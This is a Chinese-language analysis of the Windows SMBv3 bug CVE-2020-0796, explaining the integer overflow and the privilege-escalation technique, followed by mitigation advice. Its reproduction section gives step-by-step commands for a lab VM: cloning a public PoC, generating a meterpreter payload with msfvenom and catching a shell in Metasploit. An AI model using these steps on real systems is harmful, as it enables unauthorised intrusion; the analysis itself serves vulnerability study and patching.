Windows SMBv3 CVE-2020-0796 漏洞分析和漏洞復現


0x00  漏洞描述

漏洞公告顯示,SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。

0x01  漏洞響應版本

Windows 10 1903版本(用於基於x32的系統)
Windows 10 1903版(用於基於x64的系統)
Windows 10 1903版(用於基於ARM64的系統)
Windows Server 1903版(服務器核心安裝)
Windows 10 1909版本(用於基於x32的系統)
Windows 10版本1909(用於基於x64的系統)
Windows 10 1909版(用於基於ARM64的系統)
Windows Server版本1909(服務器核心安裝)

0x02  漏洞分析

漏洞公告顯示,SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。

1.根本原因

漏洞發生在srv2.sys中,由於SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法.最終導致整數溢出。

2.初步分析

該錯誤是發生在srv2.sys SMB服務器驅動程序中的Srv2DecompressData函數中的整數溢出錯誤。這是該函數的簡化版本,省略了不相關的細節:

typedef struct _COMPRESSION_TRANSFORM_HEADER
{
    ULONG ProtocolId;
    ULONG OriginalCompressedSegmentSize;
    USHORT CompressionAlgorithm;
    USHORT Flags;
    ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct _ALLOCATION_HEADER
{
    // ...
    PVOID UserBuffer;
    // ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }

    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }

    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

該Srv2DecompressData函數接收客戶端發送的壓縮消息,分配所需的內存量,並解壓縮數據。然后,如果Offset字段不為零,它會將放置在壓縮數據之前的數據復制到分配的緩沖區的開頭。

如果仔細觀察,我們會發現第20行和第31行可能導致某些輸入的整數溢出。例如,大多數在bug發布后不久出現並導致系統崩潰的poc都使用0xffffff值作為Offset字段。使用該值0xffffff會在第20行觸發整數溢出,因此分配的字節更少。

稍后,它會在第31行觸發額外的整數溢出。崩潰是由於在第30行中計算出的遠離接收消息的地址處的內存訪問造成的。如果代碼在第31行驗證了計算結果,那么它將很早退出,因為緩沖區長度恰好是負數且無法表示,這也使得第30行的地址本身也無效。

 

 

3.選擇溢出內容

只有兩個相關字段可以控制以導致整數溢出的字段:OriginalCompressedSegmentSize和Offset,因此沒有太多選擇。在嘗試了幾種組合之后,下面的組合吸引了我們:如果我們發送一個合法的偏移值和一個巨大的原始壓縮段大小值呢?讓我們回顧一下代碼將要執行的三個步驟:

 

  1. 分配:由於整數溢出,分配的字節數將小於兩個字段的總和。
  2. 解壓縮:解壓縮將收到一個非常大的OriginalCompressedSegmentSize值,將目標緩沖區視為具有無限大小。所有其他參數均不受影響,因此它將按預期執行。
  3. 復制:如果要執行,則復制將按預期執行。

不管是否要執行復制步驟,它看起來已經很有趣了——我們可以在解壓縮階段觸發越界寫入,因為我們設法分配了比“分配”階段所需的字節少的字節。

如您所見,使用這種技術,我們可以觸發任何大小和內容的溢出,這是一個很好的開始。但是什么位於我們的緩沖區之外?讓我們找出答案!

4.深入分析SrvNetAllocateBuffer

為了回答這個問題,我們需要查看分配函數,在我們的例子中是SrvNetAllocateBuffer。下面是函數的有趣部分:

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
    // ...

    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
        if (AllocSize > 0x1000100) {
            return NULL;
        }
        Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
    } else {
        int LookasideListIndex = 0;
        if (AllocSize > 0x1100) {
            LookasideListIndex = /* some calculation based on AllocSize */;
        }

        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
        Result = /* fetch result from list */;
    }

    // Initialize some Result fields...

    return Result;
}

我們可以看到分配函數根據所需的字節數執行不同的操作。大型分配(大於約16MB)會導致執行失敗。中型分配(大於約1 MB)使用SrvNetAllocateBufferFromPool函數進行分配。小型分配(其余的)使用lookaside列表進行優化。

注意:還有一個SrvDisableNetBufferLookAsideList標志會影響函數的功能,但是它是由一個未記錄的注冊表設置來設置的,並且默認情況下處於禁用狀態,因此並不是很有趣。

 

Lookaside列表用於有效地為驅動程序保留一組可重用的、固定大小的緩沖區。lookaside列表的功能之一是定義一個自定義的分配/釋放函數,用於管理緩沖區。查看SrvNetBufferLookasides數組的引用,我們發現它是在SrvNetCreateBufferLookasides函數中初始化的,通過查看它,我們了解到以下內容:

 

  • 自定義分配函數定義為SrvNetBufferLookasideAllocate,它只調用SrvNetAllocateBufferFromPool
  • 9個lookaside列表按以下大小創建,我們使用Python快速計算:
    >>> [hex((1 << (i + 12)) + 256) for i in range(9)]
    [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
  • 這與我們的發現相匹配,即分配大於0x100100字節的分配時不使用lookaside列表。

結論是每個分配請求最終都出現在SrvNetAllocateBufferFromPool函數中,所以讓我們來分析它。

6.SrvNetAllocateBufferFromPool和分配的緩沖區布局

SrvNetAllocateBufferFromPool函數使用ExAllocatePoolWithTag函數在NonPagedPoolNx池中分配一個緩沖區,然后用數據填充一些結構。分配的緩沖區的布局如下:

在我們的研究范圍內,此布局的唯一相關部分是用戶緩沖區和分配頭結構。我們可以馬上看到,通過溢出用戶緩沖區,我們最終會重寫ALLOCATION_HEADER結構。看起來很方便。

7.重寫分配頭結構

此時,我們的第一個想法是,由SmbCompressionDecompress調用之后的檢查:

if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

SrvNetFreeBuffer將被調用,並且該函數將失敗,因為我們將其設計OriginalCompressedSegmentSize為一個很大的數字,並且FinalCompressedSize將成為一個較小的數字,代表實際的解壓縮字節數。因此,我們分析了該SrvNetFreeBuffer函數,成功地替換了一個幻數的分配指針,然后等待free函數嘗試對其進行釋放,以期稍后將其用於free-after-free或類似用途。但是令我們驚訝的是,該memcpy函數崩潰了。這使我們感到高興,因為我們根本沒有想到哪里,但我們必須檢查為什么會這樣。可以在SmbCompressionDecompress函數的實現中找到說明:

NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...

    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }

    // ...

    return Status;
}

基本上,如果解壓成功,FinalCompressedSize將更新為保存CompressedBufferSize的值,它是緩沖區的大小。這種對FinalCompressedSize返回值的故意更新對我們來說似乎非常可疑,因為這個小細節,加上分配的緩沖區布局,允許非常方便地利用這個bug。

由於執行繼續到復制原始數據的階段,讓我們再次檢查調用:

memcpy(
    Alloc-> UserBuffer,
    (PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER),
    Header-> Offset);

從ALLOCATION_HEADER結構中讀取目標地址,我們可以覆蓋該結構。緩沖區的內容和大小也由我們控制

8.本地權限提升

既然我們有了寫在哪里開發,我們能用它做什么?很明顯我們可以讓系統崩潰。我們可能能夠觸發遠程代碼執行,但我們還沒有找到這樣做的方法。如果我們在本地主機上使用此漏洞並泄漏其他信息,我們可以將其用於本地權限提升,因為已經通過幾種技術證明了這一點

我們嘗試的第一種技術是Morten Schenk在其《Black Hat USA 2017》演講中提出的。該技術涉及重寫win32的.data部分中的函數指針數據庫系統驅動程序,然后從用戶模式調用相應的函數以獲得代碼執行。j00ru寫了一篇關於在WCTF 2018中使用此技術的精彩文章,並提供了他的漏洞源代碼。我們針對write what where漏洞進行了調整,但發現它不起作用,因為處理SMB消息的線程不是GUI線程。因此,win32數據庫系統沒有映射,而且技術也不相關(除非有辦法使它成為一個GUI線程,這是我們沒有研究過的)。

我們最終在2012年的黑帽演示中使用了cesarcer所介紹的著名技術—輕松本地Windows內核開發。該技術是通過使用NtQuerySystemInformation(SystemHandleInformation)API泄漏當前進程令牌地址,然后重寫該地址,授予當前進程令牌權限,這些權限可用於權限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中濫用代理權限,展示了使用各種令牌特權提升特權的幾種方法。

我們基於Alexandre Beaulieu在利用任意寫操作提升權限writeup時共享的代碼進行攻擊。在修改進程的令牌特權后,我們通過將DLL注入winlogon.exe. DLL的全部目的是啟動命令提示符. 我們的完整本地特權升級證明可在 此處找到,僅可用於研究/防御目的。
 

0x03  CVE-2020-0796 RCE漏洞復現

1.環境准備
攻擊機:kal2019  ip:192.168.1.101
目標靶機:windows10 1903   x64 (專業版,企業版也可以) ip:192.168.1.103
目標靶機的下載地址:
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
2.環境要求:
(1).該poc不太穩定,需要多次測試(猜測是占用監聽端口或者網絡問題),有可能出現藍屏現象
(2).如果POC失敗,可能是目標系統開啟系統自帶的defender攔截了
(3).測試的時候,最好關閉防火牆和殺軟,讓445端口開放
3.復現步驟
(1).kali下克隆下載利用poc
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
(2).切換到利用poc目錄下
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
(3).該POC需要用python3環境執行
(4).可以看到目標靶機的IP地址以及系統版本

 

(5).在kali下生成python版本的反彈shellcode
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
(6).可以看到生成的shellcode
root@kali2019:~# cat exp.py
(7).將生成的exp.py代碼中的變量buf全部替換成變量USER_PAYLOAD,然后將所有代碼粘貼覆蓋下面的代碼處:
(8).在kali上啟動MSF,並如下設置
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp   #設置反彈模式
msf5 exploit(multi/handler) > set rhost 192.168.1.103  #設置目標靶機IP地址
msf5 exploit(multi/handler) > set lport 2333    #設置監聽端口
msf5 exploit(multi/handler) > exploit 
(9).執行利用poc,可以看到成功執行,在按任意鍵,最好回車鍵即可
python3  exploit.py  -ip  192.168.1.103
(10).在msf可以看到成功反彈出目標靶機的shell
 

0x04  CVE-2020-0796 本地提權漏洞復現

1.環境要求,需要windows 10 1909 x64 
下載地址:ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/
2.這里我新建了一個普通權限的賬號,可以看到權限很小
3.在普通賬號上執行cve-2020-0796-local.exe,可以看到成功提權到system權限

0x05  漏洞檢測

1.奇安信批量檢測工具:
2.sh腳本檢測:
3.python腳本檢測:

0x06 漏洞修復

1. 更新,完成補丁的安裝。

操作步驟:設置->更新和安全->Windows更新,點擊“檢查更新”。
2.微軟給出了臨時的應對辦法:
運行regedit.exe,打開注冊表編輯器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。

3.對SMB通信445端口進行封禁。

4.補丁鏈接
 
 

0x07  參考連接

 
 
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM